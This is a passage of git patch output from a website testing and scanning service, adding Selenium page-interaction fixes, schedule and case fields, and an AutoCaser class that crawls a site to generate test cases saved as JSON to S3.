@@ -152,6 +151,9 @@ def interact_with_page(driver):
         print(f'document state is {page_state}')
         
         wait_time += interval
+    
+    # interacting with page once available
+    interact_with_page(driver)
 
     return
 

From bb42d81781192eea05db3e86d05c9370ac5a2862 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 09:22:16 -0700
Subject: [PATCH 0427/1099] fixed import error

---
 app/api/utils/driver_s.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 4c88ec27..a9b6f015 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -1,5 +1,5 @@
 from selenium import webdriver
-from selenium.webdriver import ActionChains
+from selenium.webdriver import ActionChains, ActionBuilder
 from selenium.webdriver.common.by import By
 import time, os, numpy, json, sys
 
@@ -120,7 +120,7 @@ def get_request_list(driver):
 
     def interact_with_page(driver):
         # simulate mouse movement
-        action = ActionChains(driver)
+        action = ActionBuilder(driver)
         action.pointer_action.move_to_location(0, 0).perform()
         time.sleep(1)
         action.pointer_action.move_to_location(0, 50).perform()

From 44ff140a158ae641f76472d68a726f846ba998e1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 09:51:48 -0700
Subject: [PATCH 0428/1099] fixing import issues

---
 app/api/utils/driver_s.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index a9b6f015..c190a893 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -1,6 +1,7 @@
 from selenium import webdriver
-from selenium.webdriver import ActionChains, ActionBuilder
+from selenium.webdriver import ActionChains
 from selenium.webdriver.common.by import By
+from selenium.webdriver.common.actions.action_builder import ActionBuilder
 import time, os, numpy, json, sys
 
 

From 0c0d9faf2cd1cc5a6520692e385b8e7135c28c99 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 10:11:04 -0700
Subject: [PATCH 0429/1099] fixing page interact

---
 app/api/utils/driver_s.py | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index c190a893..fbf6ec3f 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -122,9 +122,12 @@ def get_request_list(driver):
     def interact_with_page(driver):
         # simulate mouse movement
         action = ActionBuilder(driver)
-        action.pointer_action.move_to_location(0, 0).perform()
+        action.pointer_action.move_to_location(0, 0)
+        action.perform()
+        # wait for 1s
         time.sleep(1)
-        action.pointer_action.move_to_location(0, 50).perform()
+        action.pointer_action.move_to_location(0, 50)
+        action.perform()
         return
 
 

From c145f4bb5b509fe6f7abaa7ed0b4a338ba1bafd0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 1 Apr 2024 12:59:06 -0600
Subject: [PATCH 0430/1099] testing access

---
 app/api/utils/caser.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 45d074ea..3ed20e7a 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -463,6 +463,7 @@ def run_s(self):
 
 
 
+
     
     async def run_p(self):
 

From 58068758111406b047975c4507071a71964714da Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 16 Apr 2024 13:15:57 -0600
Subject: [PATCH 0431/1099] added in case_id to args for tasks

---
 app/api/v1/ops/services.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 38a892df..847cf9d2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1817,6 +1817,7 @@ def create_or_update_schedule(request):
                 'page_id': page_id,
                 'updates': updates,
                 'configs': configs,
+                'case_id': case_id,
                 'automation_id': auto_id,
             }
 

From f4d3e5062c8aa91cb171ae4ea77c5566c7f10fab Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 16 Apr 2024 13:54:08 -0600
Subject: [PATCH 0432/1099] fixed schedules issues

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 847cf9d2..6cc07bc8 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3030,7 +3030,7 @@ def get_site_stats(request):
     page_count = pages.count()
     test_count = 0
     scan_count = 0
-    schedule_count = 0
+    schedule_count = Schedule.objects.filter(site=site).count()
     for page in pages:
         tests = Test.objects.filter(page=page)
         scans = Scan.objects.filter(page=page)

From ed52f4e6d84b50697755d2960a8e8750230ecd8b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 17 Apr 2024 09:19:51 -0600
Subject: [PATCH 0433/1099] added account to testcase creation in tasks

---
 app/api/v1/ops/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 2620c85e..9c590f4a 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -239,6 +239,7 @@ def create_testcase_task(
             case_name = case.name,
             site = site,
             user = site.user,
+            account = site.account,
             configs = configs,
             steps = steps
         )

From 7252f51f04b9b08ac1d8b0441503e8838686cfb6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 13:40:58 -0600
Subject: [PATCH 0434/1099] adding and testing AutoCase

---
 app/api/models.py             |   1 +
 app/api/tasks.py              |  27 ++
 app/api/utils/autocaser.py    | 755 ++++++++++++++++++++++++++++++++++
 app/api/v1/ops/serializers.py |   2 +-
 app/api/v1/ops/services.py    | 120 +++++-
 app/api/v1/ops/urls.py        |   1 +
 app/api/v1/ops/views.py       |  10 +
 7 files changed, 898 insertions(+), 18 deletions(-)
 create mode 100644 app/api/utils/autocaser.py

diff --git a/app/api/models.py b/app/api/models.py
index 063e2966..54dc00b6 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -448,6 +448,7 @@ class Case(models.Model):
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7aedf80d..40aff237 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -6,6 +6,7 @@
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
 from .utils.exporter import create_and_send_report_export
+from .utils.autocaser import AutoCaser
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, 
     create_test_task, create_report_task, delete_report_s3,
@@ -490,6 +491,32 @@ def purge_logs(username=None, *args, **kwargs):
     logger.info('Purged logs')
 
 
+
+@shared_task(bind=True, base=BaseTaskWithRetry)
+def create_auto_cases_bg(
+    self, 
+    site_id=None,
+    max_cases=None,
+    max_layers=None,
+    configs=None
+):
+    # get site
+    site = Site.objects.get(id=id)
+
+    # init AutoCaser
+    AC = AutoCaser(
+        site=site,
+        max_cases=max_cases,
+        max_layers=max_layers,
+    )
+
+    # build cases
+    AC.build_cases()
+    logger.info('Built new auto Cases')
+
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_testcase_bg(
         self, 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
new file mode 100644
index 00000000..e33486a7
--- /dev/null
+++ b/app/api/utils/autocaser.py
@@ -0,0 +1,755 @@
+from selenium import webdriver
+from selenium.webdriver import ActionChains
+from selenium.webdriver.common.by import By
+from selenium.webdriver.common.actions.action_builder import ActionBuilder
+from .driver_s import driver_init, driver_wait, quit_driver
+from ..models import Site, Case
+from scanerr import settings
+import time, os, json, sys, uuid, random, boto3
+
+
+
+
+
+class AutoCaser():
+
+
+    def __init__(self, site, max_cases: int=4, max_layers: int=5):
+         
+        # main site object & configs
+        self.scan = site
+        self.max_cases = max_cases
+        self.max_layers = max_layers
+
+        # starting driver
+        self.driver = driver_init()
+
+        # setting selector script
+        self.selector_script = (
+            """
+            const getSelector = (elm) => {
+                if (elm.tagName === "BODY") return "BODY";
+                const names = [];
+                while (elm.parentElement && elm.tagName !== "BODY") {
+                    if (elm.id) {
+                        names.unshift(`[id='${elm.getAttribute("id")}']`); // "#" + elm.getAttribute("id")
+                        break;
+                    } else {
+                        let c = 1, e = elm;
+                        for (; e.previousElementSibling; e = e.previousElementSibling, c++) ;
+                        names.unshift(elm.tagName + ":nth-child(" + c + ")");
+                    }
+                    elm = elm.parentElement;
+                }
+                return names.join(">");
+            }
+
+            return getSelector(arguments[0])
+            
+            """
+        )
+
+        # setting defaults for inputs
+        self.input_types = {
+            "button":           {'test_data': None, 'action': 'click'},
+            "checkbox":         {'test_data': None, 'action': 'click'},
+            "color":            {'test_data': '#ff0000', 'action': 'change'},
+            "date":             {'test_data': '2024-04-23', 'action': 'change'},
+            "datetime-local":   {'test_data': '2024-04-22T12:49', 'action': 'change'},
+            "email":            {'test_data': 'jane@example.com', 'action': 'change'},
+            "file":             {'test_data': None, 'action': None},
+            "hidden":           {'test_data': None, 'action': None},
+            "image":            {'test_data': None, 'action': None},
+            "month":            {'test_data': '2024-04', 'action': 'change'},
+            "number":           {'test_data': '1', 'action': 'change'},
+            "password":         {'test_data': 'pass123456!@', 'action': 'click'},
+            "radio":            {'test_data': None, 'action': 'click'},
+            "range":            {'test_data': 1, 'action': 'change'},
+            "reset":            {'test_data': None, 'action': None},
+            "search":           {'test_data': 'search example', 'action': 'change'},
+            "submit":           {'test_data': None, 'action': 'click'},
+            "tel":              {'test_data': '5555555555', 'action': 'change'},
+            "text":             {'test_data': 'Example Text', 'action': 'change'},
+            "time":             {'test_data': '12:34', 'action': 'change'},
+            "url":              {'test_data': 'https://example.com', 'action': 'change'},
+            "week":             {'test_data': '2024-W15', 'action': 'change'},
+        }
+
+        # setting blacklist for input types to ignore
+        self.blacklist = ['file', 'hidden', 'image', 'reset']
+
+        # setup boto3 configurations
+        self.s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+        
+
+
+
+
+
+
+
+    def get_element_image(self, element: object):
+        try:
+            image = element.screenshot_as_base64
+        except:
+            image = None
+        return image
+
+
+
+
+    def get_url_root(self, url: str) -> str:
+        protocol = url.split('//')[0] + '//'
+        root_url = protocol + url.split('//')[1].split('/')[0]
+        return root_url
+
+
+
+
+    def get_relative_url(self, url: str) -> str:
+        relative_url = '/' + url.split('//')[1].split('/')[1]
+        return relative_url
+
+
+
+
+    def get_elem_text(self, selector: str) -> str:
+        elem_text = self.driver.execute_script(f'return document.querySelector("{selector}").innerText') 
+        elem_text = elem_text.split('\n')[0].strip()
+        return elem_text
+
+
+
+
+    def record_forms(self, elements: list, form: object=None) -> list:
+
+        # wait for page to load 
+        driver_wait(driver=self.driver)
+
+        # building forms list
+        if form is None:
+            # get all forms on the page
+            forms = self.driver.find_elements(By.TAG_NAME, "form")
+        else:
+            # adding single form to que
+            forms = [form]
+        
+        # begin iteration of <form> gathering
+        for form in forms:
+            
+            # get form selector
+            form_selector = self.driver.execute_script(selector_script, form)
+
+            print(f'recording form -> {form_selector}')
+
+            # getting form text
+            elem_text = self.get_elem_text(selector=form_selector, driver=driver)
+
+            # get form image
+            form_img = self.get_element_image(element=form)
+            
+            # get all input fields in form
+            inputs = form.find_elements(By.TAG_NAME, "input")
+
+            # iterate through each input
+            sub_elements = []
+            for i in inputs:
+                
+                if i.get_attribute('type') not in self.blacklist:
+                    # get input data
+                    input_selector = self.driver.execute_script(selector_script, i)
+                    placeholder = i.get_attribute('placeholder')
+                    value = i.get_attribute('value')
+                    type = i.get_attribute('type')
+                    img = self.get_element_image(element=i)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': input_selector,
+                        'elem_type': i.tag_name,
+                        'placeholder': placeholder,
+                        'value': value,
+                        'type': type,
+                        'data': self.input_types[type]['test_data'],
+                        'action': self.input_types[type]['action'],
+                        'path': relative_url,
+                        'img': img,
+                        'elements': None,
+                    })
+
+            # get all iframes elements in form
+            iframes = form.find_elements(By.TAG_NAME, "iframe")
+
+            # iterate through iframes and save data
+            for iframe in iframes:
+                
+                # get iframe data
+                iframe_selector = self.driver.execute_script(selector_script, iframe)
+                iframe_img = self.get_element_image(element=iframe)
+                relative_url = self.get_relative_url(self.driver.current_url)
+                
+                # get all inputs for iframe
+                iframe_inputs = iframe.find_elements(By.TAG_NAME, "input")
+
+                # iterate through each input
+                iframe_elements = []
+                for i in iframe_inputs:
+                    
+                    if i.get_attribute('type') not in self.blacklist:
+                        # get input data
+                        input_selector = self.driver.execute_script(selector_script, i)
+                        placeholder = i.get_attribute('placeholder')
+                        value = i.get_attribute('value')
+                        type = i.get_attribute('type')
+                        img = self.get_element_image(element=i)
+                        relative_url = self.get_relative_url(self.driver.current_url)
+
+                        # save internal iframe data
+                        iframe_elements.append({
+                            'selector': input_selector,
+                            'elem_type': i.tag_name,
+                            'placeholder': placeholder,
+                            'value': value,
+                            'type': type,
+                            'data': self.input_types[type]['test_data'],
+                            'action': self.input_types[type]['action'],
+                            'path': relative_url,
+                            'img': img,
+                            'elements': None,
+                        })
+                
+                # save sub elem data
+                sub_elements.append({
+                    'selector': iframe_selector,
+                    'elem_type': iframe.tag_name,
+                    'placeholder': None,
+                    'value': None,
+                    'type': None,
+                    'data': None,
+                    'action': 'switch_to_frame',
+                    'path': relative_url,
+                    'img': iframe_img,
+                    'elements': iframe_elements,
+                })
+
+
+
+            # get all button elements in form
+            btns = form.find_elements(By.TAG_NAME, "button")
+
+            # iterate through each btn
+            for btn in btns:
+
+                # get button data
+                btn_selector = self.driver.execute_script(selector_script, btn)
+                type = btn.get_attribute('type')
+                btn_img = self.get_element_image(element=btn)
+                relative_url = self.get_relative_url(self.driver.current_url)
+
+                sub_elements.append({
+                    'selector': btn_selector,
+                    'elem_type': 'button',
+                    'placeholder': None,
+                    'value': None,
+                    'type': type,
+                    'data': None,
+                    'elements': None,
+                    'action': 'click',
+                    'path': relative_url,
+                    'img': btn_img,
+                    'elements': None,
+                })
+
+
+            # save elem data
+            elements.append({
+                'selector': form_selector,
+                'elem_type': 'form',
+                'elem_text': elem_text,
+                'value': None,
+                'type': None,
+                'data': None,
+                'action': None,
+                'path': relative_url,
+                'img': form_img,
+                'elements': sub_elements,
+
+            })
+        
+        # return elements array 
+        return elements
+
+
+
+
+    def get_priority_elements(self, elements: list) -> dict:
+        priority_words = [
+            'cart', 'checkout', 'add to cart', 'add to the cart', 
+            'add to basket', 'add to shopping basket', 'add to shopping cart', 
+            'add to the cart', 'billing', 'address', 'payment', 'purchase now',
+            'order now', 'order', 'shop now', 'continue to payment',
+        ]
+
+        priority_elements = []
+        non_priority_elements = []
+
+        # checking each element for prioriry words
+        for element in elements:
+
+            # get element's innerText
+            elem_selector = self.driver.execute_script(selector_script, element)
+            elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
+
+            # check each priority word against element innerText
+            for word in priority_words:
+                if word in elm_text.lower():
+                    priority_elements.append(element)
+                    break
+                elif element not in non_priority_elements:
+                    non_priority_elements.append(element)
+
+        data = {
+            'priority_elements': priority_elements, 
+            'non_priority_elements': non_priority_elements
+        }
+
+        return data
+
+
+
+
+    def get_current_elements(self) -> list:
+        buttons = self.driver.find_elements(By.TAG_NAME, 'button')
+        links = self.driver.find_elements(By.TAG_NAME, 'a')
+        forms = self.driver.find_elements(By.TAG_NAME, 'form')
+        current_elements = buttons + links + forms
+        return current_elements
+
+
+
+
+    def get_elements(self):
+
+        # high-level elemets array.
+        # All elememts represent the 
+        # begining of a new Case.
+        elements = []
+
+        # get site page
+        self.driver.get(self.site.site_url)
+        start_page = self.driver.current_url
+
+        # record all forms and sub_elements on page
+        elements = self.record_forms(elements=elements, driver=driver)
+    
+        # grab all buttons
+        buttons = self.driver.find_elements(By.TAG_NAME, "button")
+
+        # grab all links
+        links = self.driver.find_elements(By.TAG_NAME, "a")
+
+        # combine buttons and links
+        start_elms = buttons + links
+
+        # sorting start_elems
+        sorted_elements = self.get_priority_elements(
+            elements=start_elms, 
+            driver=driver
+        )
+        priority_elements = sorted_elements['priority_elements']
+        non_priority_elements = sorted_elements['non_priority_elements']
+
+        final_start_elements = []
+
+        # choosing random priority element
+        if len(priority_elements) > 0:
+            choosen = priority_elements[
+                random.randint(0, (len(priority_elements) - 1))
+            ]
+            final_start_elements.append(
+                self.driver.execute_script(selector_script, choosen)
+            )
+
+        # adding random elements until 
+        # "max_cases" is reached
+        iterations = 0
+        while len(final_start_elements) < self.max_cases and iterations < (5 * max_cases):
+
+            # random choice
+            choosen = non_priority_elements[
+                random.randint(0, (len(non_priority_elements) - 1))
+            ]
+
+            # check if element exists in final_start_elements[]
+            selector = self.driver.execute_script(selector_script, choosen)
+            if selector in final_start_elements:
+                iterations += 1
+                continue
+            
+            # ensuring link is local to site
+            if choosen.tag_name == 'a':
+                link_text = choosen.get_attribute('href')
+                if link_text.startswith(self.get_url_root(start_page)):
+                    final_start_elements.append(selector)
+                    
+            # adding if button
+            if choosen.tag_name == 'button':
+                final_start_elements.append(selector)
+
+            # forcing loop to quit if not enough cases are created
+            iterations += 1
+
+
+        # begin elem iteration
+        for selector in final_start_elements:
+
+            # ensuring we're at start_page
+            if self.driver.current_url != start_page:
+                self.driver.get(start_page)
+                driver_wait(driver=driver)
+
+            # get element info
+            element = self.driver.find_element(By.CSS_SELECTOR, selector)
+            element_img = self.get_element_image(element=element)
+            element_type = element.tag_name
+            elem_relative_url = self.get_relative_url(self.driver.current_url)
+            elem_text = self.get_elem_text(selector=selector, driver=driver)
+
+            print(f'working on this start element -> {selector}')
+
+            # get all current elements and url before action
+            old_elements = self.get_current_elements(driver)
+            previous_url = self.driver.current_url
+
+            # perform first action
+            try:
+                element.click()
+            except Exception as e:
+                print('Element not Clickable, removing')
+                final_start_elements.remove(selector)
+                continue
+
+
+            # begin layering (max_layers)
+            layers = 0
+            run = True
+            sub_elements = []
+            while layers < self.max_layers and run:
+
+                print(f'layers -> {layers} | run -> {run}')
+
+                # driver wait
+                driver_wait(driver=driver)
+
+                # check current page
+                if self.driver.current_url == previous_url:
+                    
+                    # check for new element
+                    new_elements = self.get_current_elements(driver)
+                    for elem in new_elements:
+                        if elem not in old_elements:
+
+                            # get sub element info
+                            elem_selector = self.driver.execute_script(selector_script, elem)
+                            elem_img = self.get_element_image(element=elem)
+                            relative_url = self.get_relative_url(self.driver.current_url)
+                            
+                            # found new element, decide on action
+                            if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+                                # record element
+                                sub_elements.append({
+                                    'selector': elem_selector,
+                                    'elem_type': elem.tag_name,
+                                    'placeholder': None,
+                                    'value': None,
+                                    'type': None,
+                                    'data': None,
+                                    'action': 'click',
+                                    'path': relative_url,
+                                    'img': elem_img,
+                                    'elements': None,
+                                })
+
+                                # click element
+                                try:
+                                    elem.click()
+                                except Exception as e:
+                                    print('Element not Clickable, removing')
+                                    sub_elements.pop()
+
+                                # add to layers and ending internal loop
+                                layers += 1
+                                break
+
+                            if elem.tag_name == 'form':
+                                
+                                # record form into sub_elements list
+                                sub_elements = self.record_forms(
+                                    elements=sub_elements, 
+                                    driver=driver,
+                                    form=elem
+                                )
+
+                                # add to layers and ending case
+                                layers += 1
+                                run = False
+                                break
+                    
+                    # add to layers
+                    layers += 1
+
+
+                # check if page is different but still on site
+                elif self.driver.current_url != previous_url and \
+                    self.driver.current_url.startswith(self.get_url_root(previous_url)):
+
+                    # get new elements and randomly choose 1 (with priority)
+                    new_elements = self.get_current_elements(driver=driver)
+
+                    # sort new elements
+                    sorted_elements = self.get_priority_elements(
+                        elements=new_elements, 
+                        driver=driver
+                    )
+                    priority_elements = sorted_elements['priority_elements']
+                    non_priority_elements = sorted_elements['non_priority_elements']
+                    elem = None
+                    
+                    # choosing random priority elememt 
+                    if len(priority_elements) > 0:
+                        elem = priority_elements[
+                            random.randint(0, (len(priority_elements) - 1))
+                        ]
+
+                    # choosing a random non-priority element
+                    elif len(non_priority_elements) > 0:
+                        elem = non_priority_elements[
+                            random.randint(0, (len(non_priority_elements) - 1))
+                        ]
+
+                    # returning early if no elem selected
+                    if not elem:
+                        # add to layers and ending case
+                        layers += 1
+                        run = False
+                        break
+
+                    # get sub element info
+                    elem_selector = self.driver.execute_script(selector_script, elem)
+                    elem_img = self.get_element_image(element=elem)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    # check the type of element
+                    if elem.tag_name == 'form':
+                        # record form into sub_elements list
+                        sub_elements = self.record_forms(
+                            elements=sub_elements, 
+                            driver=driver,
+                            form=elem
+                        )
+
+                        # add to layers and ending case
+                        layers += 1
+                        run = False
+                
+                    if elem.tag_name == 'a' or elem.tag_name == 'button':
+                        # record element
+                        sub_elements.append({
+                            'selector': elem_selector,
+                            'elem_type': elem.tag_name,
+                            'placeholder': None,
+                            'value': None,
+                            'type': None,
+                            'data': None,
+                            'action': 'click',
+                            'path': relative_url,
+                            'img': elem_img,
+                            'elements': None,
+                        })
+
+                        # add to layers
+                        layers += 1
+
+                        # click element
+                        try:
+                            elem.click()
+                        except Exception as e:
+                            print('Element not Clickable, removing')
+                            sub_elements.pop()
+
+
+                # catching all other situations
+                # naving back to previous_url   
+                else:
+                    print('no coditions were met')
+
+                    # add to layers
+                    layers += 1
+
+                    # going back
+                    self.driver.get(previous_url)
+                    
+                
+            # adding final info to elememt list
+            elements.append({
+                'selector': selector,
+                'elem_type': element_type,
+                'elem_text': elem_text,
+                'placeholder': None,
+                'value': None,
+                'type': None,
+                'data': None,
+                'action': 'click',
+                'path': elem_relative_url,
+                'img': element_img,
+                'elements': sub_elements,
+            })
+
+        
+        # quit driver session
+        quit_driver(self.driver)
+
+        # return elements
+        return elements
+
+
+
+
+    def build_cases(self):
+
+        # run get_elements
+        elements = self.get_elements()
+
+        # temp cases definition
+        cases = []
+
+        # get/decide on value for element
+        def get_elem_value(element):
+            if element['value'] == None or len(element['value']) <= 0:
+                return element['data']
+            else:
+                return element['value']
+
+        # for each high-level element, 
+        # build a new `Case` and save "steps" 
+        # as .json file uploaded to S3 
+        for element in elements:
+
+            # defining "steps"
+            steps = []
+
+            # adding firt step, which is naving 
+            # to the the starting element's 'path'
+            steps.append({
+                "action":{
+                    "key": "",
+                    "path": element['path'],
+                    "type": "navigate",
+                    "value": "",
+                    "element": ""
+                },
+                "assertion":{
+                    "type": "",
+                    "value": "",
+                    "element": ""
+                }
+            })
+
+            # adding second step if starting 
+            # element is not a form
+            if element['elem_type'] != 'form':
+                steps.append({
+                    "action":{
+                        "key": "",
+                        "path": element['path'],
+                        "type": element['action'],
+                        "value": get_elem_value(element),
+                        "element": element['selector'],
+                        "img": element['img']
+                    },
+                    "assertion":{
+                        "type": "",
+                        "value": "",
+                        "element": ""
+                    }
+                })
+
+            
+            # sub_element mapping using recursion
+            def sub_element_mapping(elements, steps):
+                if element['elements'] != None:
+                    for elem in elements:
+                        # add step
+                        steps.append({
+                            "action":{
+                                "key": "",
+                                "path": elem['path'],
+                                "type": elem['action'],
+                                "value": get_elem_value(elem),
+                                "element": elem['selector'],
+                                "img": elem['img']
+                            },
+                            "assertion":{
+                                "type": "",
+                                "value": "",
+                                "element": ""
+                            }
+                        })
+
+                        # check if sub_elements exists
+                        if elem['elements'] != None:
+                            sub_element_mapping(elem['elements'], steps)
+
+                # return mapped sub_elements in steps
+                return steps
+
+            
+            # add sub_elements to steps
+            steps = sub_element_mapping(element['elements'], steps)
+
+            # create .json file for steps and upload to s3
+            case_id = uuid.uuid4()
+
+            # saving as json file temporarily
+            with open(f'{case_id}.json', 'w') as fp:
+                json.dump(steps, fp)
+            
+            # seting up paths
+            steps_file = os.path.join(settings.BASE_DIR, f'{case_id}.json')
+            remote_path = f'static/cases/{case_id}.json'
+            root_path = settings.AWS_S3_URL_PATH
+            steps_url = f'{root_path}/{remote_path}'
+        
+            # upload to s3
+            with open(steps_file, 'rb') as data:
+                self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                )
+
+            # remove local copy
+            os.remove(steps_file)
+
+            # save new Case
+            Case.objects.create(
+                id      = case_id,
+                site    = self.site,
+                name    = element['elem_text'],
+                tags    = ["generated"],
+                steps   = {
+                    'url':  steps_url,
+                    'num_steps': len(steps)
+                },
+            )
+
+
+        return None
+
+
+
+
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 6dfc5016..04635002 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -179,7 +179,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Case
         fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account',
+        'tags', 'account', 'site',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6cc07bc8..fdd201cd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -6,6 +6,7 @@
 from rest_framework.response import Response
 from rest_framework import status
 from scanerr import celery
+from scanerr import settings
 from .serializers import *
 from ...tasks import *
 from rest_framework.pagination import LimitOffsetPagination
@@ -20,6 +21,14 @@
 
 
 
+# setup boto3 configurations
+s3 = boto3.client(
+    's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+    region_name=str(settings.AWS_S3_REGION_NAME), 
+    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+)
+
 
 
 
@@ -1006,7 +1015,7 @@ def get_scans(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
         if scan.site.account != account:
-            data = {'reason': 'retrieve Scans of a Site you do not own',}
+            data = {'reason': 'cannot retrieve Scans you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
@@ -1026,7 +1035,7 @@ def get_scans(request):
     
 
     if page.account != account:
-        data = {'reason': 'retrieve Scans of a Site you do not own',}
+        data = {'reason': 'cannot retrieve Scans you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
@@ -1066,7 +1075,7 @@ def get_scan_lean(request, id):
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
     if scan.site.account != account:
-        data = {'reason': 'retrieve Scans of a Site you do not own'}
+        data = {'reason': 'cannot retrieve Scans you do not own'}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
@@ -1497,7 +1506,7 @@ def get_tests(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
         if test.site.account != account:
-            data = {'reason': 'retrieve Tests of a Site you do not own'}
+            data = {'reason': 'cannot retrieve Tests you do not own'}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
@@ -1523,7 +1532,7 @@ def get_tests(request):
         return Response(data, status=this_status)
 
     if page.site.account != account:
-        data = {'reason': 'retrieve Tests of a Site you do not own',}
+        data = {'reason': 'cannot retrieve Tests you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
     
@@ -1567,7 +1576,7 @@ def get_test_lean(request, id):
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
     if test.site.account != account:
-        data = {'reason': 'retrieve Tests of a Site you do not own'}
+        data = {'reason': 'cannot retrieve Tests you do not own'}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
@@ -2151,7 +2160,7 @@ def get_automations(request):
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
         if automation.account != account:
-            data = {'reason': 'retrieve an Automation you do not own',}
+            data = {'reason': 'cannot retrieve an Automation you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         serializer_context = {'request': request,}
         serialized = AutomationSerializer(automation, context=serializer_context)
@@ -2404,7 +2413,34 @@ def get_processes(request):
 
 
 
+def save_case_steps(steps):
+
+    # create .json file for steps and upload to s3
+    steps_id = uuid.uuid4()
+
+    # saving as json file temporarily
+    with open(f'{steps_id}.json', 'w') as fp:
+        json.dump(steps, fp)
+    
+    # seting up paths
+    steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
+    remote_path = f'static/cases/steps/{steps_id}.json'
+    root_path = settings.AWS_S3_URL_PATH
+    steps_url = f'{root_path}/{remote_path}'
+
+    # upload to s3
+    with open(steps_file, 'rb') as data:
+        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+        )
+
+    # remove local copy
+    os.remove(steps_file)
 
+    return {
